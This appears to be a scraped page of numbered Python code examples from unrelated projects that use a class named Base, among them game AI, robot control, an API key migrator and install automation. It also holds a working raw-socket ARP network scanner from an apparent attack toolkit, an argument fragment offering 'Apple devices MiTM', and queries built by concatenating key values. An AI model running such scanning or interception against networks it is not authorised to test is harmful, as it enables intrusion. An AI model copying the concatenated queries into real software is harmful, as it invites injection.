parser.add_argument('-t', '--target_mac', type=str, help='Set target MAC address', default=None)
parser.add_argument('-I', '--target_ip', type=str, help='Set client IP address with MAC in --target_mac', default=None)
parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output')
parser.add_argument('--apple', action='store_true', help='Apple devices MiTM')
parser.add_argument('--broadcast_response', action='store_true', help='Send broadcast response')
Ejemplo n.º 42
0
class BaseMigrator:
    def __init__(self, ):
        self.migration_environment = MigrationEnvironment()
        mashery_api_config = self.migration_environment.configuration

        # Logging: had to move to this class since i don't understand python enough;
        # for some reason i couldn't get python to emit the logs to different files;
        # should be re-factored at some point

        # turn off info from http requests library
        logging.getLogger('requests').setLevel(logging.ERROR)
        # set a format which is simpler for console use
        formatter1 = logging.Formatter(
            '%(name)-12s: %(levelname)-8s %(message)s')
        # define a Handler which writes INFO messages or higher to the sys.stderr
        streamHandler = logging.StreamHandler()
        streamHandler.setLevel(logging.ERROR)
        streamHandler.setFormatter(formatter1)
        logging.getLogger('').addHandler(streamHandler)

        formatter2 = logging.Formatter(
            '%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
        l1 = logging.getLogger(self.__class__.__name__)
        fileHandler1 = logging.FileHandler(
            mashery_api_config['migration']['log_location'] +
            'package_migrator.log',
            mode='a')
        fileHandler1.setLevel(logging.INFO)
        fileHandler1.setFormatter(formatter2)
        l1.addHandler(fileHandler1)
        l1.setLevel(logging.INFO)
        l1 = logging.getLogger(self.__class__.__name__)

        l2 = logging.getLogger(self.__class__.__name__ + 'Transactions')
        fileHandler2 = logging.FileHandler(
            mashery_api_config['migration']['log_location'] +
            'package_migrator_transactions.log',
            mode='a')
        fileHandler2.setLevel(logging.INFO)
        fileHandler2.setFormatter(formatter2)
        l2.addHandler(fileHandler2)
        l2.setLevel(logging.INFO)
        l2 = logging.getLogger(self.__class__.__name__ + 'Transactions')

        self.base = Base(mashery_api_config['mashery_api']['protocol'],
                         mashery_api_config['mashery_api']['hostname'],
                         mashery_api_config['mashery_area']['id'],
                         mashery_api_config['mashery_api']['apikey'],
                         mashery_api_config['mashery_api']['secret'], l2)

        self.validator = Validator(l1)

        self.logger = l1

    def update_object_with_required_attributes(self, object_to_update,
                                               missing_properties):
        for missing_property in missing_properties:
            if missing_property['field'] == 'uri':
                object_to_update[
                    missing_property['field']] = 'http://www.example.com'
            else:
                object_to_update[missing_property['field']] = 'default'

        return object_to_update

    def confirm_ready(self):
        print '================================================'
        print 'Area ID= ' + str(
            self.migration_environment.configuration['mashery_area']['id'])
        print 'Area Name= ' + self.migration_environment.configuration[
            'mashery_area']['name']
        print 'API Hostname/Environment= ' + self.migration_environment.configuration[
            'mashery_api']['hostname']
        print ' '
        print 'Backup Location= ' + self.migration_environment.configuration[
            'migration']['backup_location']
        print 'Log Location= ' + self.migration_environment.configuration[
            'migration']['log_location']
        print 'Key Input File= ' + self.migration_environment.configuration[
            'migration']['key_input_file']
        print ' '
        print '================================================'

        proceed = raw_input('Proceed? (y/n)')
        if proceed == 'y':
            return True

        return False

    def ready_for_migration(self):
        # fetch area config
        try:
            area = self.base.area_fetch()
        except ValueError as err:
            self.logger.error('Error fetching data: %s', json.dumps(err.args))
            return

        # fetch keys in area, to see if there are any existing
        # memberless or applicationless ones
        try:
            keys = self.base.fetch(
                'keys', '*, member, application, service, developer_class', '')
        except ValueError as err:
            self.logger.error('Error fetching data: %s', json.dumps(err.args))
            return

        applications = self.transform_keys_map_to_applications_map(keys)

        area_validation_data = self.validator.validate_area_for_migration(
            area, applications, keys)

        self.logger.info('ready_for_migration: %s',
                         json.dumps(area_validation_data))

        return area_validation_data['ready_for_migration']

    def transform_keys_map_to_applications_map(self, keys):
        applications = {}

        for key in keys:
            app_id = 0
            if (key['application'] != None):
                app_id = key['application']['id']

            application = {}
            application['keys'] = []

            if app_id in applications:
                application = applications[app_id]

            application['keys'].append(key)

            applications[app_id] = application

        return applications

    def get_migration_data(self, migration_file):
        try:
            f = open(migration_file, 'r')
            file_contents = f.read()
            migration_data = json.loads(file_contents)
            f.close()
            return migration_data
        except IOError:
            self.logger.error('Failed opening migration map file.')
            return None
        except ValueError:
            self.logger.error('Invalid JSON in migration map file.')
            return None

    def application_should_be_consolidated(self, application):
        key_set = []
        package_set = []
        plan_set = []
        for key in application['keys']:
            if (key['apikey'] not in key_set):
                key_set.append(key['apikey'])

        if (len(key_set) == 1 and len(application['keys']) > 1):
            self.logger.info('Application %s has keys of same value',
                             str(application['id']))
            return True

        return False

    def restore_application(self, application, nodryrun):

        if (application['id'] != ''):
            application_data = self.base.fetch(
                'applications', '*, package_keys',
                'WHERE id = ' + str(application['id']))
            if (len(application_data) == 1):
                application_data = application_data[0]
            else:
                self.logger.error('Problem fetching application for %s',
                                  json.dumps(application))
                return False

        package_keys_to_delete = []
        keys_to_restore = []
        package_key_data = None
        for key in application['keys']:
            if ('package_id' not in key or 'plan_id' not in key):
                self.logger.warn(
                    'Application %s has keys without package plan',
                    str(application_data['id']))
                continue

            # fetch key data
            package_keys = self.base.fetch(
                'package_keys', '*, member, application, package, plan',
                'WHERE apikey = \'' + key['apikey'] + '\'')
            for data in package_keys:
                if (data['package']['id'] == key['package_id']
                        and data['plan']['id'] == key['plan_id']):
                    package_key_data = data
                    break

            if (package_key_data != None):
                package_keys_to_delete.append(package_key_data)

            key_data = self.get_service_key_from_backup(
                self.migration_environment.configuration['migration']
                ['backup_location'], key)
            if (key_data == None):
                key_data = self.fetch_key(key)
                if key_data == None:
                    self.logger.error('Problem fetching service key for %s',
                                      json.dumps(application))
                    return False
            keys_to_restore.append(key_data)

        # before enabling app for packager we must delete and archive all keys
        if (nodryrun == True):
            try:
                t_del = []
                for k in package_keys_to_delete:
                    t_del.append(k['id'])

                if (len(t_del) > 0):
                    self.base.delete('package_key', t_del)
            except ValueError as err:
                self.logger.error('Problem deleting package keys: %s',
                                  json.dumps(err.args))
                return False

            application_data['is_packaged'] = False
            try:
                self.base.update('application', application_data)
            except ValueError as err:
                if (err.args[0][0]['message'] == 'Invalid Object'):
                    application_data = self.update_object_with_required_attributes(
                        application_data, err.args[0][0]['data'])
                    try:
                        application = self.base.update('application',
                                                       application_data)
                    except ValueError as err:
                        self.logger.error(json.dumps(err.args))
                        return False
                else:
                    self.logger.error(json.dumps(err.args))
                    return False

            for key in keys_to_restore:
                try:
                    restored_key = self.base.create('key', key)
                    # make sure the data is really restored, including "status" - that often gets
                    # screwed up due to deleted keys counting against limits
                    backup_key = self.get_service_key_from_backup(
                        self.migration_environment.configuration['migration']
                        ['backup_location'], key)
                    if (backup_key == None):
                        backup_key = self.fetch_key(key)

                    if (self.validator.validate_service_key(
                            restored_key, backup_key) == False):
                        self.base.update('key', backup_key)
                except ValueError as err:
                    self.logger.error('Problem creating keys: %s',
                                      json.dumps(err.args))
                    return False

        return True

    def get_service_key_from_backup(self, backup_location, key):
        key_data = None
        try:
            f = open(
                backup_location + str(key['apikey']) + '_' +
                str(key['service_key']) + '.json', 'r')
            file_contents = f.read()
            key_data = json.loads(file_contents)
            f.close()
        except IOError as err:
            self.logger.error('Problem retrieving backup key: %s',
                              json.dumps(err.args))

        if (key_data == None or len(key_data) == 0):
            self.logger.error('Problem retrieving backup key: %s',
                              json.dumps(err.args))
            return None

        return key_data

    def fetch_key(self, key):
        key_data = None
        # fetch key data
        try:
            key_data = self.base.fetch(
                'keys', '*, member, application, service, developer_class',
                'WHERE apikey = \'' + key['apikey'] +
                '\' AND service_key = \'' + key['service_key'] + '\'')
        except ValueError as err:
            self.logger.error('Problem fetching key: %s', json.dumps(err.args))
            return False

        if (len(key_data) == 1):
            key_data = key_data[0]
        else:
            self.logger.error('Problem fetching key for %s', json.dumps(key))

        return key_data

    def fetch_application(self, application):
        application_data = None
        if (application['id'] != ''):
            try:
                # get the application from the database
                application_data = self.base.fetch(
                    'applications',
                    '*, keys.*, keys.member, keys.service, keys.developer_class',
                    'WHERE id = ' + str(application['id']))
            except ValueError as err:
                self.logger.error('Problem fetching application: %s',
                                  json.dumps(err.args))

            if (len(application_data) == 1):
                application_data = application_data[0]
            else:
                self.logger.error('Problem fetching application for %s',
                                  json.dumps(application))

            if (len(application['keys']) != len(application_data['keys'])):
                self.logger.error(
                    'Application data missing keys: json file: %s  api return: %s',
                    json.dumps(application), json.dumps(application_data))

        return application_data
Ejemplo n.º 43
0
 def __init__(self, rules = [], config = config.Config()):
     Base.__init__(self)
     self.persistent = 0
Ejemplo n.º 44
0
def evaluate_genomes(genomes, config):
    global GENERATION
    GENERATION += 1

    score = 0

    networks = []
    current_genomes = []
    birds = []
    initialize_population_with_neural_networks(genomes, config, networks,
                                               birds, current_genomes)

    window = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))
    pipes = [Pipe(700)]
    clock = pygame.time.Clock()

    run = True
    while run and len(birds) > 0:
        clock.tick(30)

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False
                pygame.quit()
                quit()

        pipe_index = 0
        if len(birds) > 0:
            if more_than_1_pipes_and_bird_passed_the_first_pipe(birds, pipes):
                pipe_index = 1  # set to next pipe index

        for bird in birds:
            bird.move()
            output = get_output_from_neural_network(bird, pipes, pipe_index,
                                                    networks, birds)
            if output[0] > 0.5:
                bird.jump()

        add_pipe = False
        pipe_to_remove = []
        for pipe in pipes:
            for bird in birds:
                if pipe.collide(bird):
                    remove_birds(current_genomes, birds, bird, networks)

                if bird_passed_pipe(bird, pipe):
                    pipe.passed = True
                    add_pipe = True
                    score += 1

                    evaluate_genome(current_genomes)

            if pipe_passed_window(pipe):
                pipe_to_remove.append(pipe)

            pipe.move()

        add_new_pipe_if_bird_passed(add_pipe, pipes)
        remove_passed_pipes(pipe_to_remove, pipes)
        remove_overfly_or_fell_birds(birds, networks, current_genomes)

        base = Base(730)
        base.move()
        draw_window(window, birds, pipes, base, score, GENERATION)
Ejemplo n.º 45
0
from models import Storage, Event
from base import Base

# initialize mysql storage
Storage().init_storage()

# get events
base = Base()
operation = 'listEvents/'
payload = '{"filter":{"eventTypeIds":["1"]}}'
data = base.retrieve(operation, payload)  # list of dicts
events = []
for event in data:
    events.append(Event(event))
Ejemplo n.º 46
0
 def __init__(self, cur, wb):
     Base.sheet_name = u'提示信息'
     Base.table_name = 'tipmessage'
     Base.__init__(self, cur, wb)
Ejemplo n.º 47
0
# -*- coding:utf-8 -*-
from base import Base
import win32com.client
#调用大漠插件前需要把插件注册到系统
dm = win32com.client.Dispatch('dm.dmsoft')  # 调用大漠插件
base_path = dm.GetBasePath()
dm_ret = dm.SetPath(base_path)
dm_ret = dm.SetDict(0, "ys.txt")
app = Base()


# 下载客户端
def download_client(url, path, filename):
    if app.search_file(filename):
        print('文件名:%s 已存在' % filename)

    else:
        print('找不到文件,开始下载%s' % filename)
        app.download(url, path, filename)
    app.wait(3)


# 安装客户端
def install_teacher(path, softname, classname, path1):
    # 启动安装文件
    app.launch(path, softname)
    app.wait(3)
    # 获取安装窗口句柄
    hwnd = app.findwindow(classname)

    if hwnd > 0:
Ejemplo n.º 48
0
 def __init__(self, cur, wb):
     Base.sheet_name = u'人物'
     Base.table_name = 'person'
     Base.__init__(self, cur, wb)
Ejemplo n.º 49
0
            return "ff:ff:ff:ff:ff:ff"

        except KeyboardInterrupt:
            self.base.print_info("Exit")
            exit(0)

    # endregion


# endregion

# region Main function
if __name__ == "__main__":

    # region Check user, platform and print banner
    Base = Base()
    Base.check_user()
    Base.check_platform()
    Base.print_banner()
    # endregion

    # region Parse script arguments
    parser = ArgumentParser(description='ARP scanner script')
    parser.add_argument('-i',
                        '--interface',
                        type=str,
                        help='Set interface name for ARP scanner')
    parser.add_argument('-I',
                        '--target_ip',
                        type=str,
                        help='Set target IP address',
Ejemplo n.º 50
0
    def position_start_pose(self, offsets=None, do_something=False):
        """Assigns the robot's base to some starting pose.

        Mainly to "reset" the robot to the original starting position (and also,
        rotation about base axis) after it has moved, usually w/no offsets.
        
        Ugly workaround: we have target (x,y), and compute the distance to the
        point and the angle. We turn the Fetch according to that angle, and go
        forward. Finally, we do a second turn which corresponds to the target
        yaw at the end. This turns w.r.t. the current angle, so we undo the
        effect of the first turn.  See `examples/test_position_start_pose.py`
        for tests.
        
        Args:
            offsets: a list of length 3, indicating offsets in the x, y, and
            yaws, respectively, to be added onto the starting pose.
        """
        # Causing problems during my tests of the Siemens demo.
        if not do_something:
            return


        current_pos = copy.deepcopy(self.base.odom.position)
        current_theta = Base._yaw_from_quaternion(self.base.odom.orientation) # [-pi, pi]
        ss = np.array([current_pos.x, current_pos.y, current_theta])

        # Absolute target position and orientation specified with `pp`.
        pp = np.copy(self.start_pose)
        if offsets:
            pp += np.array(offsets)

        # Get distance to travel, critically assumes `pp` is starting position.
        dist = np.sqrt( (ss[0]-pp[0])**2 + (ss[1]-pp[1])**2 )
        rel_x = ss[0] - pp[0]
        rel_y = ss[1] - pp[1]
        assert -1 <= rel_x / dist <= 1
        assert -1 <= rel_y / dist <= 1

        # But we also need to be *facing* the correct direction, w/input [-1,1].
        # First, get the opposite view (facing "outwards"), then flip by 180.
        desired_facing = np.arctan2(rel_y, rel_x) # [-pi, pi], facing outward
        desired_theta  = math.pi + desired_facing # [0, 2*pi], flip by 180
        if desired_theta > math.pi:
            desired_theta -= 2*math.pi # [-pi, pi]
 
        # Reconcile with the current theta. Got this by basically trial/error
        angle = desired_theta - current_theta  # [-2*pi, 2*pi]
        if angle > math.pi:
            angle -= 2*math.pi 
        elif angle < -math.pi:
            angle += 2*math.pi 

        self.base.turn(angular_distance=angle, speed=self.TURN_SPEED)
        self.base.go_forward(distance=dist, speed=0.2)

        # Back at the start x, y, but now need to consider the _second_ turn.
        # The robot is facing at `desired_theta` rads, but wants `pp[2]` rads.
        final_angle = pp[2] - desired_theta
        if final_angle > math.pi:
            final_angle -= 2*math.pi 
        elif final_angle < -math.pi:
            final_angle += 2*math.pi 
        self.base.turn(angular_distance=final_angle, speed=self.TURN_SPEED)
Ejemplo n.º 51
0
class ArpScan:

    # region Set variables
    base = None
    eth = None
    arp = None

    rawSocket = None

    network_interface = None
    your_mac_address = None
    your_ip_address = None
    target_ip_address = None

    results = None
    unique_results = None

    mac_addresses = None

    mac_prefixes_file = None
    vendor_list = None

    retry_number = 0
    timeout = 0

    # endregion

    # region Init
    def __init__(self):
        from base import Base
        from network import Ethernet_raw, ARP_raw

        self.base = Base()
        self.eth = Ethernet_raw()
        self.arp = ARP_raw()
        self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))
        self.results = []
        self.unique_results = []
        self.mac_addresses = []

        self.mac_prefixes_file = utils_path + "mac-prefixes.txt"
        self.vendor_list = []

        self.retry_number = 3
        self.timeout = 0

    # endregion

    # region Sniffer
    def sniff(self):
        while True:
            packets = self.rawSocket.recvfrom(2048)

            for packet in packets:

                # Parse Ethernet header
                ethernet_header = packet[0:14]
                ethernet_header_dict = self.eth.parse_header(ethernet_header)

                # Success parse Ethernet header
                if ethernet_header_dict is not None:

                    # 2054 - Type of ARP packet (0x0806)
                    if ethernet_header_dict['type'] == 2054:

                        # Destination MAC address is your MAC address
                        if ethernet_header_dict[
                                'destination'] == self.your_mac_address:

                            # Parse ARP packet
                            arp_header = packet[14:42]
                            arp_header_dict = self.arp.parse_packet(arp_header)

                            # Success parse ARP packet
                            if arp_header_dict is not None:

                                # ARP opcode == 2 (2 - ARP reply)
                                if arp_header_dict['opcode'] == 2:

                                    # ARP target MAC address is your MAC address
                                    if arp_header_dict[
                                            'target-mac'] == self.your_mac_address:

                                        # ARP target IP address is your IP address
                                        if arp_header_dict[
                                                'target-ip'] == self.your_ip_address:

                                            # Parameter Target IP address is None
                                            if self.target_ip_address is None:
                                                self.results.append({
                                                    "mac-address":
                                                    arp_header_dict[
                                                        'sender-mac'],
                                                    "ip-address":
                                                    arp_header_dict[
                                                        'sender-ip']
                                                })

                                            # Parameter Target IP address is Set
                                            else:
                                                if arp_header_dict[
                                                        'sender-ip'] == self.target_ip_address:
                                                    self.results.append({
                                                        "mac-address":
                                                        arp_header_dict[
                                                            'sender-mac'],
                                                        "ip-address":
                                                        arp_header_dict[
                                                            'sender-ip']
                                                    })

    # endregion

    # region Sender
    def send(self):
        arp_requests = []

        self.your_mac_address = self.base.get_netiface_mac_address(
            self.network_interface)
        self.your_ip_address = self.base.get_netiface_ip_address(
            self.network_interface)

        first_ip_address = str(
            IPv4Address(
                unicode(self.base.get_netiface_first_ip(
                    self.network_interface))) - 1)
        last_ip_address = str(
            IPv4Address(
                unicode(self.base.get_netiface_last_ip(
                    self.network_interface))) + 1)

        if self.target_ip_address is not None:
            if self.base.ip_address_in_range(self.target_ip_address,
                                             first_ip_address,
                                             last_ip_address):
                first_ip_address = self.target_ip_address
                last_ip_address = self.target_ip_address
            else:
                self.base.print_error(
                    "Bad target IP address: ", self.target_ip_address,
                    "; Target IP address must be in range: ",
                    first_ip_address + " - " + last_ip_address)
                exit(1)

        index = 0
        while True:
            current_ip_address = str(
                IPv4Address(unicode(first_ip_address)) + index)
            index += 1

            if IPv4Address(unicode(current_ip_address)) > IPv4Address(
                    unicode(last_ip_address)):
                break
            else:
                arp_request = self.arp.make_request(
                    ethernet_src_mac=self.your_mac_address,
                    ethernet_dst_mac="ff:ff:ff:ff:ff:ff",
                    sender_mac=self.your_mac_address,
                    sender_ip=self.your_ip_address,
                    target_mac="ff:ff:ff:ff:ff:ff",
                    target_ip=current_ip_address)
                arp_requests.append(arp_request)

        SOCK = socket(AF_PACKET, SOCK_RAW)
        SOCK.bind((self.network_interface, 0))

        for arp_request in arp_requests:
            if self.retry_number > 0:
                for i in range(self.retry_number):
                    SOCK.send(arp_request)
            else:
                SOCK.send(arp_request)

        SOCK.close()

    # endregion

    # region Scanner
    def scan(self,
             network_interface,
             timeout=3,
             retry=3,
             target_ip_address=None,
             check_vendor=True):

        # region Set variables
        self.target_ip_address = target_ip_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Create vendor list
        if check_vendor:
            with open(self.mac_prefixes_file, 'r') as mac_prefixes_descriptor:
                for string in mac_prefixes_descriptor.readlines():
                    string_list = string.split(" ", 1)
                    self.vendor_list.append({
                        "prefix": string_list[0],
                        "vendor": string_list[1][:-1]
                    })
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Reset results and mac addresses list
        self.results = []
        self.mac_addresses = []
        # endregion

        # region Get vendors
        for result_index in range(len(self.unique_results)):

            # Get current MAC address prefix
            current_mac_prefix = self.eth.get_mac_prefix(
                self.unique_results[result_index]['mac-address'])

            # Search this prefix in vendor list
            for vendor_index in range(len(self.vendor_list)):
                if current_mac_prefix == self.vendor_list[vendor_index][
                        'prefix']:
                    self.unique_results[result_index][
                        'vendor'] = self.vendor_list[vendor_index]['vendor']
                    break

            # Could not find this prefix in vendor list
            if 'vendor' not in self.unique_results[result_index].keys():
                self.unique_results[result_index]['vendor'] = "Unknown vendor"

        # endregion

        # region Return results
        return self.unique_results
        # endregion

    # endregion

    # region Get MAC address
    def get_mac_address(self,
                        network_interface,
                        target_ip_address,
                        timeout=5,
                        retry=5):
        try:

            # region Set variables
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run sniffer
            tm = ThreadManager(2)
            tm.add_task(self.sniff)
            # endregion

            # region Run sender
            self.send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Return
            if 'mac-address' in self.results[0].keys():
                return self.results[0]['mac-address']
            else:
                return "ff:ff:ff:ff:ff:ff"
            # endregion

        except IndexError:
            return "ff:ff:ff:ff:ff:ff"

        except KeyboardInterrupt:
            self.base.print_info("Exit")
            exit(0)
Ejemplo n.º 52
0
def main(genomes, config):
    global GEN
    GEN += 1
    networks = []
    genomes_list = []
    birds = []

    for genome_id, genome in genomes:
        # set up an initial fitness of 0 for each genome (bird)
        genome.fitness = 0
        # set up neural network for genome
        net = neat.nn.FeedForwardNetwork.create(genome, config)
        networks.append(net)
        birds.append(Bird(230, 350))
        genomes_list.append(genome)

    base = Base(730)
    pipes = [Pipe(600)]
    win = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))
    run = True
    clock = pygame.time.Clock()
    score = 0

    while run:
        # 30 ticks every second
        clock.tick(30)
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False
                pygame.quit()
                quit()

        # look at the first pipe in the pipe list
        pipe_index = 0
        if len(birds) > 0:
            # if the bird passed the first pipe in the list, look at the second pipe in the list
            if len(pipes) > 1 and birds[
                    0].x_pos > pipes[0].x_pos + pipes[0].PIPE_TOP.get_width():
                pipe_index = 1
        else:
            run = False
            break

        for bird_index, bird in enumerate(birds):
            bird.move()
            genomes_list[bird_index].fitness += 0.1
            output = networks[bird_index].activate(
                (bird.y_pos, abs(bird.y_pos - pipes[pipe_index].height),
                 abs(bird.y_pos - pipes[pipe_index].bottom)))
            if output[0] > 0.5:
                bird.jump()

        remove_pipes = []
        add_pipe = False

        for pipe in pipes:
            for bird_index, bird in enumerate(birds):
                if pipe.collide(bird):
                    # subtract fitness from birds that possibly make it far but collide with the pipe
                    genomes_list[bird_index].fitness -= 1
                    # remove that bird from the lists
                    birds.pop(bird_index)
                    networks.pop(bird_index)
                    genomes_list.pop(bird_index)

                # if the bird has passed the pipe, change the bird passed variable to true and add the next pipe
                if not pipe.bird_passed and pipe.x_pos < bird.x_pos:
                    pipe.bird_passed = True
                    add_pipe = True

            # if the pipe is off the screen, add the pipe to the remove list
            if pipe.x_pos + pipe.PIPE_TOP.get_width() < 0:
                remove_pipes.append(pipe)

            pipe.move()

        # once the bird has passed the pipe, add to score and set up next set of pipes
        if add_pipe:
            score += 1
            #if the bird makes it through the pipe, add to fitness to encourage it to want to go through the pipe
            for genome in genomes_list:
                genome.fitness += 5
            pipes.append(Pipe(600))

        # remove the pipes in the remove list from the pipes list
        for pipe in remove_pipes:
            pipes.remove(pipe)

        # if the bird hits the floor
        for bird_index, bird in enumerate(birds):
            if bird.y_pos + bird.img.get_height() >= 730 or bird.y_pos < 0:
                birds.pop(bird_index)
                networks.pop(bird_index)
                genomes_list.pop(bird_index)

        # once bird gets good enough, break out of loop
        if score > 50:
            break

        base.move()
        draw_window(win, birds, pipes, base, score, GEN)
Ejemplo n.º 53
0
 def __init__(self):
     Base.__init__(self)